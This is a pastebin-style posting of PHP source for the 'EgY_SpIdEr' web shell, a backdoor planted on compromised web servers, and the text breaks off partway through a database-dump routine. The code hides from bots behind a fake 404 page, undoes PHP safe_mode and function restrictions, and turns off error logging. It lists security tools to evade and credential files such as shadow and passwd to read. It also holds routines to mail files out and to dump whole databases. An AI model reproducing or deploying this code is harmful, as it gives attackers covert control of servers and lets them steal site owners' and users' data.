· 9 years ago · Mar 10, 2017, 02:12 AM
1<?
2###########################################
3# EgY_SpIdEr ShElL V2 #
4# EgY_SpIdEr #
5# www.egyspider.eu #
6###########################################
7
8//Change User & Password
9
10$tacfgd['uname'] = 'egy_spider';
11$tacfgd['pword'] = 'egy_spider';
12
13
14// Title of page.
15$tacfgd['title'] = 'EgY_SpIdEr ShElL';
16
17// Text to appear just above login form.
18$tacfgd['helptext'] = 'EgY SpIdEr ShElL';
19
20
21// Set to true to enable the optional remember-me feature, which stores encrypted login details to
22// allow users to be logged-in automatically on their return. Turn off for a little extra security.
23$tacfgd['allowrm'] = true;
24
25// If you have multiple protected pages, and there's more than one username / password combination,
26// you need to group each combination under a distinct rmgroup so that the remember-me feature
27// knows which login details to use.
28$tacfgd['rmgroup'] = 'default';
29
30// Set to true if you use your own sessions within your protected page, to stop txtAuth interfering.
31// In this case, you _must_ call session_start() before you require() txtAuth. Logging out will not
32// destroy the session, so that is left up to you.
33$tacfgd['ownsessions'] = false;
34
35
36
37
38foreach ($tacfgd as $key => $val) {
39 if (!isset($tacfg[$key])) $tacfg[$key] = $val;
40}
41
42if (!$tacfg['ownsessions']) {
43 session_name('txtauth');
44 session_start();
45}
46
47// Logout attempt made. Deletes any remember-me cookie as well
48if (isset($_GET['logout']) || isset($_POST['logout'])) {
49 setcookie('txtauth_'.$rmgroup, '', time()-86400*14);
50 if (!$tacfg['ownsessions']) {
51 $_SESSION = array();
52 session_destroy();
53 }
54 else $_SESSION['txtauthin'] = false;
55}
56// Login attempt made
57elseif (isset($_POST['login'])) {
58 if ($_POST['uname'] == $tacfg['uname'] && $_POST['pword'] == $tacfg['pword']) {
59 $_SESSION['txtauthin'] = true;
60 if ($_POST['rm']) {
61 // Set remember-me cookie for 2 weeks
62 setcookie('txtauth_'.$rmgroup, md5($tacfg['uname'].$tacfg['pword']), time()+86400*14);
63 }
64 }
65 else $err = 'Login Faild !';
66}
67// Remember-me cookie exists
68elseif (isset($_COOKIE['txtauth_'.$rmgroup])) {
69 if (md5($tacfg['uname'].$tacfg['pword']) == $_COOKIE['txtauth_'.$rmgroup] && $tacfg['allowrm']) {
70 $_SESSION['txtauthin'] = true;
71 }
72 else $err = 'Login Faild !';
73}
74if (!$_SESSION['txtauthin']) {
75@ini_restore("safe_mode");
76@ini_restore("open_basedir");
77@ini_restore("safe_mode_include_dir");
78@ini_restore("safe_mode_exec_dir");
79@ini_restore("disable_functions");
80@ini_restore("allow_url_fopen");
81
82@ini_set('error_log',NULL);
83@ini_set('log_errors',0);
84?>
85<html dir=rtl>
86<head>
87<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
88<title><?=$tacfg['title']?></title>
89
90<STYLE>
91
92BODY
93 {
94 SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456
95}
96
97tr {
98BORDER-RIGHT: #dadada ;
99BORDER-TOP: #dadada ;
100BORDER-LEFT: #dadada ;
101BORDER-BOTTOM: #dadada ;
102color: #ffffff;
103}
104td {
105BORDER-RIGHT: #dadada ;
106BORDER-TOP: #dadada ;
107BORDER-LEFT: #dadada ;
108BORDER-BOTTOM: #dadada ;
109color: #dadada;
110}
111.table1 {
112BORDER: 1;
113BACKGROUND-COLOR: #000000;
114color: #333333;
115}
116.td1 {
117BORDER: 1;
118font: 7pt tahoma;
119color: #ffffff;
120}
121.tr1 {
122BORDER: 1;
123color: #dadada;
124}
125table {
126BORDER: #eeeeee outset;
127BACKGROUND-COLOR: #000000;
128color: #dadada;
129}
130input {
131BORDER-RIGHT: #00FF00 1 solid;
132BORDER-TOP: #00FF00 1 solid;
133BORDER-LEFT: #00FF00 1 solid;
134BORDER-BOTTOM: #00FF00 1 solid;
135BACKGROUND-COLOR: #333333;
136font: 9pt tahoma;
137color: #ffffff;
138}
139select {
140BORDER-RIGHT: #ffffff 1 solid;
141BORDER-TOP: #999999 1 solid;
142BORDER-LEFT: #999999 1 solid;
143BORDER-BOTTOM: #ffffff 1 solid;
144BACKGROUND-COLOR: #000000;
145font: 9pt tahoma;
146color: #dadada;;
147}
148submit {
149BORDER: buttonhighlight 1 outset;
150BACKGROUND-COLOR: #272727;
151width: 40%;
152color: #dadada;
153}
154textarea {
155BORDER-RIGHT: #ffffff 1 solid;
156BORDER-TOP: #999999 1 solid;
157BORDER-LEFT: #999999 1 solid;
158BORDER-BOTTOM: #ffffff 1 solid;
159BACKGROUND-COLOR: #333333;
160font: Fixedsys bold;
161color: #ffffff;
162}
163BODY {
164margin: 1;
165color: #dadada;
166background-color: #000000;
167}
168A:link {COLOR:red; TEXT-DECORATION: none}
169A:visited { COLOR:red; TEXT-DECORATION: none}
170A:active {COLOR:red; TEXT-DECORATION: none}
171A:hover {color:blue;TEXT-DECORATION: none}
172
173</STYLE>
174<script language=\'javascript\'>
175function hide_div(id)
176{
177 document.getElementById(id).style.display = \'none\';
178 document.cookie=id+\'=0;\';
179}
180function show_div(id)
181{
182 document.getElementById(id).style.display = \'block\';
183 document.cookie=id+\'=1;\';
184}
185function change_divst(id)
186{
187 if (document.getElementById(id).style.display == \'none\')
188 show_div(id);
189 else
190 hide_div(id);
191}
192</script>';
193
194<body>
195<br><br><div style="font-size: 14pt;" align="center"><?=$tacfg['title']?></div>
196<hr width="300" size="1" noshade color="#cdcdcd">
197<p>
198<div align="center" class="grey">
199<?=$tacfg['helptext']?>
200</div>
201<p>
202<?
203if (isset($_SERVER['REQUEST_URI'])) $action = $_SERVER['REQUEST_URI'];
204else $action = $_SERVER['PHP_SELF'].'?'.$_SERVER['QUERY_STRING'];
205if (strpos($action, 'logout=1', strpos($action, '?')) !== false) $action = str_replace('logout=1', '', $action);
206?>
207<form name="txtauth" action="<?=$action?>" method="post">
208<div align="center">
209<table border="0" cellpadding="4" cellspacing="0" bgcolor="#666666" style="border: 1px double #dedede;" dir="ltr">
210<?=(isset($err))?'<tr><td colspan="2" align="center"><font color="red">'.$err.'</font></td></tr>':''?>
211<?if (isset($tacfg['uname'])) {?>
212<tr><td>User:</td><td><input type="text" name="uname" value="" size="20" maxlength="100" class="txtbox"></td></tr>
213<?}?>
214<tr><td>Password:</td><td><input type="password" name="pword" value="" size="20" maxlength="100" class="txtbox"></td></tr>
215<?if ($tacfg['allowrm']) {?>
216<tr><td align="left"><input type="submit" name="login" value="Login">
217</td><td align="right"><input type="checkbox" name="rm" id="rm"><label for="rm">
218 Remmeber Me?</label></td></tr>
219<?} else {?>
220<tr><td colspan="2" align="center">
221 <input type="submit" name="login" value="Login"></td></tr>
222<?}?>
223</table>
224</div>
225</form>
226
227<br><br>
228<hr width="300" size="1" noshade color="#cdcdcd">
229<div class="smalltxt" align="center">Developed by
230 <a href="mailto:egy_spider@hotmail.com">EgY SpIdEr </a>� copyright �
231 & EgY SpIdEr</div>
232
233</body>
234</html>
235<?
236 // Don't delete this!
237 exit();
238}
239?>
240Login As (<font color="#FF0000"><? echo $tacfgd['uname']; ?></font>) <a href="?logout=1">Logout</a></p>
241<div align="right">
242<?php
243
244if(preg_match("/bot/", $_SERVER[HTTP_USER_AGENT])) {header("HTTP/1.0 404");exit("<h1>Not Found</h1>");}
245
246$language='eng';
247
248$auth = 0;
249
250$name='7d1f6442a9ed59e62f93dcbc2695baa6';
251$pass='7d1f6442a9ed59e62f93dcbc2695baa6';
252
253//ru_RU, //ru_RU.cp1251, //ru_RU.iso88595, //ru_RU.koi8r, //ru_RU.utf8
254@setlocale(LC_ALL,'ru_RU.cp1251');
255
256@ini_restore("safe_mode");
257@ini_restore("open_basedir");
258@ini_restore("safe_mode_include_dir");
259@ini_restore("safe_mode_exec_dir");
260@ini_restore("disable_functions");
261@ini_restore("allow_url_fopen");
262
263if(@function_exists('ini_set'))
264 {
265 @ini_set('error_log',NULL);
266 @ini_set('log_errors',0);
267 @ini_set('file_uploads',1);
268 @ini_set('allow_url_fopen',1);
269 }
270else
271 {
272 @ini_alter('error_log',NULL);
273 @ini_alter('log_errors',0);
274 @ini_alter('file_uploads',1);
275 @ini_alter('allow_url_fopen',1);
276 }
277
278error_reporting(E_ALL);
279
280/* ??? ????? */
281$userful = array('gcc',', lcc',', cc',', ld',', php',', perl',', python',', ruby',', make',', tar',', gzip',', bzip',', bzip2',', nc',', locate',', suidperl');
282$danger = array(', kav',', nod32',', bdcored',', uvscan',', sav',', drwebd',', clamd',', rkhunter',', chkrootkit',', iptables',', ipfw',', tripwire',', shieldcc',', portsentry',', snort',', ossec',', lidsadm',', tcplodg',', sxid',', logcheck',', logwatch',', sysmask',', zmbscap',', sawmill',', wormscan',', ninja');
283$tempdirs = array(@ini_get('session.save_path').'/',@ini_get('upload_tmp_dir').'/','/tmp/','/dev/shm/','/var/tmp/');
284$downloaders = array('wget','fetch','lynx','links','curl','get');
285
286/* ??? ?????? ???????? ???? ????? realpath() */
287//$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
288//$chars_rlph = "_-.01234567890abcdefghijklnmopqrstuvwxyz";
289//$chars_rlph = "_-.ABCDEFGHIJKLMNOPQRSTUVWXYZ";
290//$chars_rlph = "_-.abcdefghijklnmopqrstuvwxyz";
291//$chars_rlph = "_-.01234567890";
292$chars_rlph = "abcdefghijklnmopqrstuvwxyz";
293
294$presets_rlph = array('index.php','.htaccess','.htpasswd','httpd.conf','vhosts.conf','cfg.php','config.php','config.inc.php','config.default.php','config.inc.php',
295'shadow','passwd','.bash_history','.mysql_history','master.passwd','user','admin','password','administrator','phpMyAdmin','security','php.ini','cdrom','root',
296'my.cnf','pureftpd.conf','proftpd.conf','ftpd.conf','resolv.conf','login.conf','smb.conf','sysctl.conf','syslog.conf','access.conf','accounting.log','home','htdocs',
297'access','auth','error','backup','data','back','sysconfig','phpbb','phpbb2','vbulletin','vbullet','phpnuke','cgi-bin','html','robots.txt','billing');
298
299/******************************************************************************************************/
300
301define("starttime",@getmicrotime());
302
303if((!@function_exists('ini_get')) || (@ini_get('open_basedir')!=NULL) || (@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;} else{$open_basedir=0;};
304
305set_magic_quotes_runtime(0);
306@set_time_limit(0);
307if(@function_exists('ini_set'))
308 {
309 @ini_set('max_execution_time',0);
310 @ini_set('output_buffering',0);
311 }
312else
313 {
314 @ini_alter('max_execution_time',0);
315 @ini_alter('output_buffering',0);
316 }
317$safe_mode = @ini_get('safe_mode');
318#if(@function_exists('ini_get')){$safe_mode = @ini_get('safe_mode');}else{$safe_mode=1;};
319$version = '1.42';
320if(@version_compare(@phpversion(), '4.1.0') == -1)
321 {
322 $_POST = &$HTTP_POST_VARS;
323 $_GET = &$HTTP_GET_VARS;
324 $_SERVER = &$HTTP_SERVER_VARS;
325 $_COOKIE = &$HTTP_COOKIE_VARS;
326 }
327if (@get_magic_quotes_gpc())
328 {
329 foreach ($_POST as $k=>$v)
330 {
331 $_POST[$k] = stripslashes($v);
332 }
333 foreach ($_COOKIE as $k=>$v)
334 {
335 $_COOKIE[$k] = stripslashes($v);
336 }
337 }
338
339if($auth == 1) {
340if (!isset($_SERVER['PHP_AUTH_USER']) || md5($_SERVER['PHP_AUTH_USER'])!==$name || md5($_SERVER['PHP_AUTH_PW'])!==$pass)
341 {
342 header('WWW-Authenticate: Basic realm="HELLO!"');
343 header('HTTP/1.0 401 Unauthorized');
344 exit("<h1>Access Denied</h1>");
345 }
346}
347
348if(!isset($_COOKIE['tempdir'],$_COOKIE['select_tempdir'])) {
349 $tempdir='./';
350 $select_tempdir = '<select name=tempdir><option value="./">./</option>';
351 foreach( $tempdirs as $item) {
352 if(@is_writable($item)){$select_tempdir .= '<option value="'.$item.'">'.$item.'</option>';$tempdir=$item;}
353 }
354 $select_tempdir .= '</select>';
355}else{
356 if(isset($_POST['tempdir'])){$tempdir = $_POST['tempdir'];}else{$tempdir = $_COOKIE['tempdir'];}
357 $select_tempdir = $_COOKIE['select_tempdir'];
358}
359
360$head = '<!-- EgY_SpIdEr -->
361<html>
362<head>
363<meta http-equiv="Content-Language" content="ar-sa">
364<meta name="GENERATOR" content="Microsoft FrontPage 6.0">
365<meta name="ProgId" content="FrontPage.Editor.Document">
366<meta http-equiv="Content-Type" content="text/html; charset=windows-1256">
367<title>EgY_SpIdEr ShElL</title>
368
369
370
371<STYLE>
372
373BODY
374 {
375 SCROLLBAR-FACE-COLOR: #000000; SCROLLBAR-HIGHLIGHT-COLOR: #000000; SCROLLBAR-SHADOW-COLOR: #000000; COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #726456; SCROLLBAR-ARROW-COLOR: #726456; SCROLLBAR-TRACK-COLOR: #292929; FONT-FAMILY: Verdana; SCROLLBAR-DARKSHADOW-COLOR: #726456
376}
377
378tr {
379BORDER-RIGHT: #333333 ;
380BORDER-TOP: #333333 ;
381BORDER-LEFT: #333333 ;
382BORDER-BOTTOM: #333333 ;
383color: #FFFFFF;
384}
385td {
386BORDER-RIGHT: #333333 ;
387BORDER-TOP: #333333 ;
388BORDER-LEFT: #333333 ;
389BORDER-BOTTOM: #333333 ;
390color: #FFFFFF;
391}
392.table1 {
393BORDER: 1;
394BACKGROUND-COLOR: #000000;
395color: #333333;
396}
397.td1 {
398BORDER: 1;
399font: 7pt tahoma;
400color: #ffffff;
401}
402.tr1 {
403BORDER: 1;
404color: #333333;
405}
406table {
407BORDER: #eeeeee outset;
408BACKGROUND-COLOR: #000000;
409color: #333333;
410}
411input {
412BORDER-RIGHT: #00FF00 1 solid;
413BORDER-TOP: #00FF00 1 solid;
414BORDER-LEFT: #00FF00 1 solid;
415BORDER-BOTTOM: #00FF00 1 solid;
416BACKGROUND-COLOR: #333333;
417font: 9pt tahoma;
418color: #ffffff;
419}
420select {
421BORDER-RIGHT: #ffffff 1 solid;
422BORDER-TOP: #999999 1 solid;
423BORDER-LEFT: #999999 1 solid;
424BORDER-BOTTOM: #ffffff 1 solid;
425BACKGROUND-COLOR: #000000;
426font: 9pt tahoma;
427color: #333333;;
428}
429submit {
430BORDER: buttonhighlight 1 outset;
431BACKGROUND-COLOR: #272727;
432width: 40%;
433color: #333333;
434}
435textarea {
436BORDER-RIGHT: #ffffff 1 solid;
437BORDER-TOP: #999999 1 solid;
438BORDER-LEFT: #999999 1 solid;
439BORDER-BOTTOM: #ffffff 1 solid;
440BACKGROUND-COLOR: #333333;
441font: Fixedsys bold;
442color: #ffffff;
443}
444BODY {
445margin: 1;
446color: #333333;
447background-color: #000000;
448}
449A:link {COLOR:red; TEXT-DECORATION: none}
450A:visited { COLOR:red; TEXT-DECORATION: none}
451A:active {COLOR:red; TEXT-DECORATION: none}
452A:hover {color:blue;TEXT-DECORATION: none}
453
454</STYLE>
455<script language=\'javascript\'>
456function hide_div(id)
457{
458 document.getElementById(id).style.display = \'none\';
459 document.cookie=id+\'=0;\';
460}
461function show_div(id)
462{
463 document.getElementById(id).style.display = \'block\';
464 document.cookie=id+\'=1;\';
465}
466function change_divst(id)
467{
468 if (document.getElementById(id).style.display == \'none\')
469 show_div(id);
470 else
471 hide_div(id);
472}
473</script>';
474class zipfile
475{
476 var $datasec = array();
477 var $ctrl_dir = array();
478 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
479 var $old_offset = 0;
480 function unix2DosTime($unixtime = 0) {
481 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
482 if ($timearray['year'] < 1980) {
483 $timearray['year'] = 1980;
484 $timearray['mon'] = 1;
485 $timearray['mday'] = 1;
486 $timearray['hours'] = 0;
487 $timearray['minutes'] = 0;
488 $timearray['seconds'] = 0;
489 }
490 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
491 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
492 }
493 function addFile($data, $name, $time = 0)
494 {
495 $name = str_replace('\\', '/', $name);
496 $dtime = dechex($this->unix2DosTime($time));
497 $hexdtime = '\x' . $dtime[6] . $dtime[7]
498 . '\x' . $dtime[4] . $dtime[5]
499 . '\x' . $dtime[2] . $dtime[3]
500 . '\x' . $dtime[0] . $dtime[1];
501 eval('$hexdtime = "' . $hexdtime . '";');
502 $fr = "\x50\x4b\x03\x04";
503 $fr .= "\x14\x00";
504 $fr .= "\x00\x00";
505 $fr .= "\x08\x00";
506 $fr .= $hexdtime;
507 $unc_len = strlen($data);
508 $crc = crc32($data);
509 $zdata = gzcompress($data);
510 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
511 $c_len = strlen($zdata);
512 $fr .= pack('V', $crc);
513 $fr .= pack('V', $c_len);
514 $fr .= pack('V', $unc_len);
515 $fr .= pack('v', strlen($name));
516 $fr .= pack('v', 0);
517 $fr .= $name;
518 $fr .= $zdata;
519 $this -> datasec[] = $fr;
520 $cdrec = "\x50\x4b\x01\x02";
521 $cdrec .= "\x00\x00";
522 $cdrec .= "\x14\x00";
523 $cdrec .= "\x00\x00";
524 $cdrec .= "\x08\x00";
525 $cdrec .= $hexdtime;
526 $cdrec .= pack('V', $crc);
527 $cdrec .= pack('V', $c_len);
528 $cdrec .= pack('V', $unc_len);
529 $cdrec .= pack('v', strlen($name) );
530 $cdrec .= pack('v', 0 );
531 $cdrec .= pack('v', 0 );
532 $cdrec .= pack('v', 0 );
533 $cdrec .= pack('v', 0 );
534 $cdrec .= pack('V', 32 );
535 $cdrec .= pack('V', $this -> old_offset );
536 $this -> old_offset += strlen($fr);
537 $cdrec .= $name;
538 $this -> ctrl_dir[] = $cdrec;
539 }
540 function file()
541 {
542 $data = implode('', $this -> datasec);
543 $ctrldir = implode('', $this -> ctrl_dir);
544 return
545 $data .
546 $ctrldir .
547 $this -> eof_ctrl_dir .
548 pack('v', sizeof($this -> ctrl_dir)) .
549 pack('v', sizeof($this -> ctrl_dir)) .
550 pack('V', strlen($ctrldir)) .
551 pack('V', strlen($data)) .
552 "\x00\x00";
553 }
554}
555
556function compress(&$filename,&$filedump,$compress)
557 {
558 global $content_encoding;
559 global $mime_type;
560 if ($compress == 'bzip' && @function_exists('bzcompress'))
561 {
562 $filename .= '.bz2';
563 $mime_type = 'application/x-bzip2';
564 $filedump = bzcompress($filedump);
565 }
566 else if ($compress == 'gzip' && @function_exists('gzencode'))
567 {
568 $filename .= '.gz';
569 $content_encoding = 'x-gzip';
570 $mime_type = 'application/x-gzip';
571 $filedump = gzencode($filedump);
572 }
573 else if ($compress == 'zip' && @function_exists('gzcompress'))
574 {
575 $filename .= '.zip';
576 $mime_type = 'application/zip';
577 $zipfile = new zipfile();
578 $zipfile -> addFile($filedump, substr($filename, 0, -4));
579 $filedump = $zipfile -> file();
580 }
581 else
582 {
583 $mime_type = 'application/octet-stream';
584 }
585 }
586
587function moreread($temp){
588global $lang,$language;
589$str='';
590 if(@function_exists('fopen')&&@function_exists('feof')&&@function_exists('fgets')&&@function_exists('feof')&&@function_exists('fclose') && ($ffile = @fopen($temp, "r"))){
591 if($ffile){
592 while(!@feof($ffile)){$str .= @fgets($ffile);};
593 fclose($ffile);
594 }
595 }elseif(@function_exists('fopen')&&@function_exists('fread')&&@function_exists('fclose')&&@function_exists('filesize')&&($ffile = @fopen($temp, "r"))){
596 if($ffile){
597 $str = @fread($ffile, @filesize($temp));
598 @fclose($ffile);
599 }
600 }elseif(@function_exists('file')&&($ffiles = @file($temp))){
601 foreach ($ffiles as $ffile) { $str .= $ffile; }
602 }elseif(@function_exists('file_get_contents')){
603 $str = @file_get_contents($temp);
604 }elseif(@function_exists('readfile')){
605 $str = @readfile($temp);
606 }elseif(@function_exists('highlight_file')){
607 $str = @highlight_file($temp);
608 }elseif(@function_exists('show_source')){
609 $str = @show_source($temp);
610 }else{echo $lang[$language.'_text56'];}
611return $str;
612}
613
614function readzlib($filename,$temp=''){
615global $lang,$language;
616$str='';
617 if(!$temp) {$temp=tempnam(@getcwd(), "copytemp");};
618 if(@copy("compress.zlib://".$filename, $temp)) {
619 $str = moreread($temp);
620 } else echo $lang[$language.'_text119'];
621 @unlink($temp);
622return $str;
623}
624
625function morewrite($temp,$str='')
626{
627global $lang,$language;
628 if(@function_exists('fopen') && @function_exists('fwrite') && @function_exists('fclose') && ($ffile=@fopen($temp,"wb"))){
629 if($ffile){
630 @fwrite($ffile,$str);
631 @fclose($ffile);
632 }
633 }elseif(@function_exists('fopen') && @function_exists('fputs') && @function_exists('fclose') && ($ffile=@fopen($temp,"wb"))){
634 if($ffile){
635 @fputs($ffile,$str);
636 @fclose($ffile);
637 }
638 }elseif(@function_exists('file_put_contents')){
639 @file_put_contents($temp,$str);
640 }else return 0;
641return 1;
642}
643
644function mailattach($to,$from,$subj,$attach)
645 {
646 $headers = "From: $from\r\n";
647 $headers .= "MIME-Version: 1.0\r\n";
648 $headers .= "Content-Type: ".$attach['type'];
649 $headers .= "; name=\"".$attach['name']."\"\r\n";
650 $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
651 $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
652 if(mail($to,$subj,"",$headers)) { return 1; }
653 return 0;
654 }
655class my_sql
656 {
657 var $host = 'localhost';
658 var $port = '';
659 var $user = '';
660 var $pass = '';
661 var $base = '';
662 var $db = '';
663 var $connection;
664 var $res;
665 var $error;
666 var $rows;
667 var $columns;
668 var $num_rows;
669 var $num_fields;
670 var $dump;
671
672 function connect()
673 {
674 switch($this->db)
675 {
676 case 'MySQL':
677 if(empty($this->port)) { $this->port = '3306'; }
678 if(!@function_exists('mysql_connect')) return 0;
679 $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
680 if(is_resource($this->connection)) return 1;
681 break;
682 case 'MSSQL':
683 if(empty($this->port)) { $this->port = '1433'; }
684 if(!@function_exists('mssql_connect')) return 0;
685 $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
686 if($this->connection) return 1;
687 break;
688 case 'PostgreSQL':
689 if(empty($this->port)) { $this->port = '5432'; }
690 $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
691 if(!@function_exists('pg_connect')) return 0;
692 $this->connection = @pg_connect($str);
693 if(is_resource($this->connection)) return 1;
694 break;
695 case 'Oracle':
696 if(!@function_exists('ocilogon')) return 0;
697 $this->connection = @ocilogon($this->user, $this->pass, $this->base);
698 if(is_resource($this->connection)) return 1;
699 break;
700 case 'MySQLi':
701 if(empty($this->port)) { $this->port = '3306'; }
702 if(!@function_exists('mysqli_connect')) return 0;
703 $this->connection = @mysqli_connect($this->host,$this->user,$this->pass,$this->base,$this->port);
704 if(is_resource($this->connection)) return 1;
705 break;
706 case 'mSQL':
707 if(!@function_exists('msql_connect')) return 0;
708 $this->connection = @msql_connect($this->host.':'.$this->port,$this->user,$this->pass);
709 if(is_resource($this->connection)) return 1;
710 break;
711 case 'SQLite':
712 if(!@function_exists('sqlite_open')) return 0;
713 $this->connection = @sqlite_open($this->base);
714 if(is_resource($this->connection)) return 1;
715 break;
716 }
717 return 0;
718 }
719
720 function select_db()
721 {
722 switch($this->db)
723 {
724 case 'MySQL':
725 if(@mysql_select_db($this->base,$this->connection)) return 1;
726 break;
727 case 'MSSQL':
728 if(@mssql_select_db($this->base,$this->connection)) return 1;
729 break;
730 case 'PostgreSQL':
731 return 1;
732 break;
733 case 'Oracle':
734 return 1;
735 break;
736 case 'MySQLi':
737 return 1;
738 break;
739 case 'mSQL':
740 if(@msql_select_db($this->base,$this->connection)) return 1;
741 break;
742 case 'SQLite':
743 return 1;
744 break;
745 }
746 return 0;
747 }
748
749 function query($query)
750 {
751 $this->res=$this->error='';
752 switch($this->db)
753 {
754 case 'MySQL':
755 if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
756 {
757 $this->error = @mysql_error($this->connection);
758 return 0;
759 }
760 else if(is_resource($this->res)) { return 1; }
761 return 2;
762 break;
763 case 'MSSQL':
764 if(false===($this->res=@mssql_query($query,$this->connection)))
765 {
766 $this->error = 'Query error';
767 return 0;
768 }
769 else if(@mssql_num_rows($this->res) > 0) { return 1; }
770 return 2;
771 break;
772 case 'PostgreSQL':
773 if(false===($this->res=@pg_query($this->connection,$query)))
774 {
775 $this->error = @pg_last_error($this->connection);
776 return 0;
777 }
778 else if(@pg_num_rows($this->res) > 0) { return 1; }
779 return 2;
780 break;
781 case 'Oracle':
782 if(false===($this->res=@ociparse($this->connection,$query)))
783 {
784 $this->error = 'Query parse error';
785 }
786 else
787 {
788 if(@ociexecute($this->res))
789 {
790 if(@ocirowcount($this->res) != 0) return 2;
791 return 1;
792 }
793 $error = @ocierror();
794 $this->error=$error['message'];
795 }
796 break;
797 case 'MySQLi':
798 if(false===($this->res=@mysqli_query($this->connection,$query)))
799 {
800 $this->error = @mysqli_error($this->connection);
801 return 0;
802 }
803 else if(is_resource($this->res)) { return 1; }
804 return 2;
805 break;
806 case 'mSQL':
807 if(false===($this->res=@msql_query($query,$this->connection)))
808 {
809 $this->error = @msql_error($this->connection);
810 return 0;
811 }
812 else if(is_resource($this->res)) { return 1; }
813 return 2;
814 break;
815 case 'SQLite':
816 if(false===($this->res=@sqlite_query($this->connection,$query)))
817 {
818 $this->error = @sqlite_error_string($this->connection);
819 return 0;
820 }
821 else if(is_resource($this->res)) { return 1; }
822 return 2;
823 break;
824 }
825 return 0;
826 }
827 function get_result()
828 {
829 $this->rows=array();
830 $this->columns=array();
831 $this->num_rows=$this->num_fields=0;
832 switch($this->db)
833 {
834 case 'MySQL':
835 $this->num_rows=@mysql_num_rows($this->res);
836 $this->num_fields=@mysql_num_fields($this->res);
837 while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
838 @mysql_free_result($this->res);
839 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
840 break;
841 case 'MSSQL':
842 $this->num_rows=@mssql_num_rows($this->res);
843 $this->num_fields=@mssql_num_fields($this->res);
844 while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
845 @mssql_free_result($this->res);
846 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
847 break;
848 case 'PostgreSQL':
849 $this->num_rows=@pg_num_rows($this->res);
850 $this->num_fields=@pg_num_fields($this->res);
851 while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
852 @pg_free_result($this->res);
853 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
854 break;
855 case 'Oracle':
856 $this->num_fields=@ocinumcols($this->res);
857 while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
858 @ocifreestatement($this->res);
859 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
860 break;
861 case 'MySQLi':
862 $this->num_rows=@mysqli_num_rows($this->res);
863 $this->num_fields=@mysqli_num_fields($this->res);
864 while(false !== ($this->rows[] = @mysqli_fetch_assoc($this->res)));
865 @mysqli_free_result($this->res);
866 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
867 break;
868 case 'mSQL':
869 $this->num_rows=@msql_num_rows($this->res);
870 $this->num_fields=@msql_num_fields($this->res);
871 while(false !== ($this->rows[] = @msql_fetch_array($this->res)));
872 @msql_free_result($this->res);
873 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
874 break;
875 case 'SQLite':
876 $this->num_rows=@sqlite_num_rows($this->res);
877 $this->num_fields=@sqlite_num_fields($this->res);
878 while(false !== ($this->rows[] = @sqlite_fetch_array($this->res)));
879 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
880 break;
881 }
882 return 0;
883 }
884 function dump($table)
885 {
886 if(empty($table)) return 0;
887 $this->dump=array();
888 $this->dump[0] = '##';
889 $this->dump[1] = '## --------------------------------------- ';
890 $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s");
891 $this->dump[3] = '## Database: '.$this->base;
892 $this->dump[4] = '## Table: '.$table;
893 $this->dump[5] = '## --------------------------------------- ';
894 switch($this->db)
895 {
896 case 'MySQL':
897 $this->dump[0] = '## MySQL dump';
898 if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
899 if(!$this->get_result()) return 0;
900 $this->dump[] = $this->rows[0]['Create Table'];
901 $this->dump[] = '## --------------------------------------- ';
902 if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
903 if(!$this->get_result()) return 0;
904 for($i=0;$i<$this->num_rows;$i++)
905 {
906 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
907 $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
908 }
909 break;
910 case 'MSSQL':
911 $this->dump[0] = '## MSSQL dump';
912 if($this->query('SELECT * FROM '.$table)!=1) return 0;
913 if(!$this->get_result()) return 0;
914 for($i=0;$i<$this->num_rows;$i++)
915 {
916 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
917 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
918 }
919 break;
920 case 'PostgreSQL':
921 $this->dump[0] = '## PostgreSQL dump';
922 if($this->query('SELECT * FROM '.$table)!=1) return 0;
923 if(!$this->get_result()) return 0;
